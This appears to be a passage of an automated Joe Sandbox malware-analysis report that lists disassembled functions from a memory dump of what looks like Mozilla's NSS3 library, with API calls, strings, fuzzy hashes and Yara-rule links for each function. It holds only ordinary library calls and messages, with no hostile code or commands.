Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 35ac538fd42b6345d76632c13b6ba81a7431220e3682e3c9566d8a0f129813f2
Instruction ID: 919f843ccc3531d3c7d939bfba3781083adf723d0e6c098604065c197edb2be3
Opcode Fuzzy Hash: 35ac538fd42b6345d76632c13b6ba81a7431220e3682e3c9566d8a0f129813f2
Instruction Fuzzy Hash: F1C16AB5A002199BDB20DF25CC80BDABBB4BF48318F1441A8E94DA7741F775EA95CF90

Function 6CC52C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(B58BF8DA), ref: 6CC52C5D

Part of subcall function 6CCB0D30: calloc.MOZGLUE ref: 6CCB0D50
Part of subcall function 6CCB0D30: TlsGetValue.KERNEL32 ref: 6CCB0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CC52C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC52CE0

Part of subcall function 6CC52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC52CDA,?,00000000), ref: 6CC52E1E
Part of subcall function 6CC52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC52E33
Part of subcall function 6CC52E00: TlsGetValue.KERNEL32 ref: 6CC52E4E
Part of subcall function 6CC52E00: EnterCriticalSection.KERNEL32(?), ref: 6CC52E5E
Part of subcall function 6CC52E00: PL_HashTableLookup.NSS3(?), ref: 6CC52E71
Part of subcall function 6CC52E00: PL_HashTableRemove.NSS3(?), ref: 6CC52E84
Part of subcall function 6CC52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC52E96
Part of subcall function 6CC52E00: PR_Unlock.NSS3 ref: 6CC52EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC52D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CC52D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CC52D3F
free.MOZGLUE(00000000), ref: 6CC52D73
CERT_DestroyCertificate.NSS3(?), ref: 6CC52DB8
free.MOZGLUE ref: 6CC52DC8

Part of subcall function 6CC53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC53EC2
Part of subcall function 6CC53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC53ED6
Part of subcall function 6CC53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC53EEE
Part of subcall function 6CC53E60: PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC53F02
Part of subcall function 6CC53E60: PL_FreeArenaPool.NSS3 ref: 6CC53F14
Part of subcall function 6CC53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC53F27

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: b48c0627fef1788a2647bbaed59e12ff12fe6762979b8abbbf181f165fbe15ad
Instruction ID: e5385ba599a2144cb20d4cd6b301b686531d2a9ae2a35a1a619cbe821fea9bf4
Opcode Fuzzy Hash: b48c0627fef1788a2647bbaed59e12ff12fe6762979b8abbbf181f165fbe15ad
Instruction Fuzzy Hash: 7D510C72A042129BEB00DF69DCA8B6B77E5EF84348F540468E84983651F731E835CB96

Function 6CC78F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC79013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC79042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC7905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC79073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC790EC

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC79111

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: f9ce2bcc69ce71f8f26c3cdd543d1add0fd9720e25864697ad756dc922910d7d
Instruction ID: 207710f26248603dc6fd187dca1360ffd6e74a71447633120ec81f9143cc10db
Opcode Fuzzy Hash: f9ce2bcc69ce71f8f26c3cdd543d1add0fd9720e25864697ad756dc922910d7d
Instruction Fuzzy Hash: DA5198B0A042048FEB10EF38C488699BBF8FF0A318F05456ADD44DB715EB31E885CBA1

Function 6CC58980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CC57310), ref: 6CC589B8

Part of subcall function 6CCB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB1228
Part of subcall function 6CCB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CCB1238
Part of subcall function 6CCB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB124B
Part of subcall function 6CCB1200: PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0,00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB125D
Part of subcall function 6CCB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CCB126F
Part of subcall function 6CCB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CCB1280
Part of subcall function 6CCB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CCB128E
Part of subcall function 6CCB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CCB129A
Part of subcall function 6CCB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CCB12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CC57310), ref: 6CC589E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CC58A00
CERT_CopyRDN.NSS3(00000004,00000000,6CC57310,?,?,00000004,?), ref: 6CC58A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CC58A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CC57310), ref: 6CC58AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CC57310), ref: 6CC58AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CC57310), ref: 6CC58B1D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 7eb3d1697a3e68b7dc4584017aae623348bfd2b0a9405d2c8d698012b307a884
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: CD5123B9A51210AFE7108F15CC00F6A37A8FF4271CF94815AEC19ABB91F731E865CB95

Function 6CCC0B00 Relevance: 13.6, APIs: 9, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCC0B21

Part of subcall function 6CCABE30: SECOID_FindOID_Util.NSS3(6CC6311B,00000000,?,6CC6311B,?), ref: 6CCABE44

Part of subcall function 6CC98500: SECOID_GetAlgorithmTag_Util.NSS3(6CC995DC,00000000,00000000,00000000,?,6CC995DC,00000000,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC98517

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCC0B64

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CCC0B72
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CCC0BA1
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CCC0BB1
PK11_CreateContextBySymKey.NSS3(-00000001,00000105,?,?), ref: 6CCC0BF3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCC0C00

Part of subcall function 6CC995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC995E0
Part of subcall function 6CC995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC995F5
Part of subcall function 6CC995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC99609
Part of subcall function 6CC995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC9961D
Part of subcall function 6CC995C0: PK11_GetInternalSlot.NSS3 ref: 6CC9970B
Part of subcall function 6CC995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC99756
Part of subcall function 6CC995C0: PK11_GetIVLength.NSS3(?), ref: 6CC99767
Part of subcall function 6CC995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC9977E
Part of subcall function 6CC995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC9978E

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCC0C29

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$K11_Tag_$Item_$FindZfree$Algorithm$Length$Alloc_BlockContextCreateFreeInternalSizeSlotfree
String ID:
API String ID: 2322824727-0
Opcode ID: 0e59c73e75d69265d6dbf23e6c683aaff5f2fd3e7cdf7670f5fbf0dda070105c
Instruction ID: fabe0dd3e2bdddd685c2381e61d6c872d449288c09415c63d343fdad82b937e4
Opcode Fuzzy Hash: 0e59c73e75d69265d6dbf23e6c683aaff5f2fd3e7cdf7670f5fbf0dda070105c
Instruction Fuzzy Hash: 7E31B0F6A002059FE710DB65ED41BAB76B8AF1435CF000529E81A9BB42F731E948C7E3

Function 6CBEE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CBEE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBEE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CBEEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CBEEB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6CBEEE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CBEEDC2
unknown column "%s" in foreign key definition, xrefs: 6CBEED18

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 59fbe103af9a4301eaa68a115a2e414aee736945e828edd867987f0bc61f9c0c
Instruction ID: aecef5f1ac842dca91ff503e4c8c422822edd7a40564ec0de8f63447805bd72d
Opcode Fuzzy Hash: 59fbe103af9a4301eaa68a115a2e414aee736945e828edd867987f0bc61f9c0c
Instruction Fuzzy Hash: 2502AE71E00599CFDB04CFA9C480AAEB7B2FF8D748F198169D815ABB51D731A801CBE1

Function 6CCB4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CCB536F,00000022,?,?,00000000,?), ref: 6CCB4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CCB4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CCB4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CCB4FAE
free.MOZGLUE(?), ref: 6CCB4FC8

Strings

%s=%s, xrefs: 6CCB4F89
%s=%c%s%c, xrefs: 6CCB4FA9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 5f7f63aaa07d3855b58e09b26adb895c830dd450a308de55419fa48a22610e47
Instruction ID: 3b8d4a81e3e01fcb83711cc3ec797b9a84eb1e45b0a02e83fc096432511a1d11
Opcode Fuzzy Hash: 5f7f63aaa07d3855b58e09b26adb895c830dd450a308de55419fa48a22610e47
Instruction Fuzzy Hash: 8F512771A0D1958BEB01CAEAC4907FFBBF5AF46308F188126F894B7B41F335990587A1

Function 6CC469A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC3F9C9,?,6CC3F4DA,6CC3F9C9,?,?,6CC0369A), ref: 6CBDCA7A
Part of subcall function 6CBDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC46A02
EnterCriticalSection.KERNEL32(?), ref: 6CC46AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CC46AF9
sqlite3_free.NSS3(00000000), ref: 6CC46B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CC46BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CC46B9F
winDelete, xrefs: 6CC46B71

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: ce9567afd00918a2111d70bf62171a2103bc450d2691a42ea8ceb7a60e92c0f8
Instruction ID: c44d10ccd355c094caa1898e76dd4b82c25e2f91c71eff2914343a778a938048
Opcode Fuzzy Hash: ce9567afd00918a2111d70bf62171a2103bc450d2691a42ea8ceb7a60e92c0f8
Instruction Fuzzy Hash: 6F512971B005059BFB08ABA5EC58ABE3779FF46314B14C12DE616C7B80EB349905CBD6

Function 6CD22F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD22FFD
sqlite3_initialize.NSS3 ref: 6CD23007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CD23032
sqlite3_mprintf.NSS3(6CD8AAF9,?), ref: 6CD23073
sqlite3_free.NSS3(?), ref: 6CD230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CD230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CD230BB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: bea9d70cd5cd7cd0c3334b76b8355bfd5a4b823601582a5223c16ff444979259
Instruction ID: 2df9bdd285b9978210ee7e4a325b22d7b2c9ecdabf3aca4aa8a3c39eff8f6011
Opcode Fuzzy Hash: bea9d70cd5cd7cd0c3334b76b8355bfd5a4b823601582a5223c16ff444979259
Instruction Fuzzy Hash: 7541AF71600606EBDB10CF25D980A8AB7E9FF4436CF148628ED5987B60E735F955CBE0

Function 6CC8ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CC8ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC8AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AD23

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC8AD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CC8AD1C
hSession = 0x%x, xrefs: 6CC8ACFE, 6CC8AD0E
C_MessageDecryptFinal, xrefs: 6CC8ACE1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: c32f7bc9f36ccb7291f151be9df057863b3355465d65cfcdf786713281044e39
Instruction ID: 03e5d674abc0052afe0d9324c644656d78b1e8f06ee0e471a05a83bdc0c110b0
Opcode Fuzzy Hash: c32f7bc9f36ccb7291f151be9df057863b3355465d65cfcdf786713281044e39
Instruction Fuzzy Hash: 6021FFB1602144DFF700DB55DD88B6B3779AB8275DF044467E509DBB91EB30980CC7A6

Function 6CC68CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC7124D,00000001), ref: 6CC68D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC7124D,00000001), ref: 6CC68D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC7124D,00000001), ref: 6CC68D73
PR_Unlock.NSS3(?,?,?,?,?,6CC7124D,00000001), ref: 6CC68D8C

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC7124D,00000001), ref: 6CC68DBA

Strings

KRAM, xrefs: 6CC68D3E
KRAM, xrefs: 6CC68CF9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 943e05756d40af1bee820dc3ffc25a1429159d902aeed9764b34a41b6425fe9a
Instruction ID: 999ca4a1d88d83cc1b18bdfc7aa32868c2d24abc6aab3d2cc868d068853ce4ed
Opcode Fuzzy Hash: 943e05756d40af1bee820dc3ffc25a1429159d902aeed9764b34a41b6425fe9a
Instruction Fuzzy Hash: 6D2191B1A04602CFDB00EF7AC584A5EB7F4FF46314F1589AAD99887B01E734D842CBA1

Function 6CD60ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD60EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD60EFA

Part of subcall function 6CC4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CC4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F16
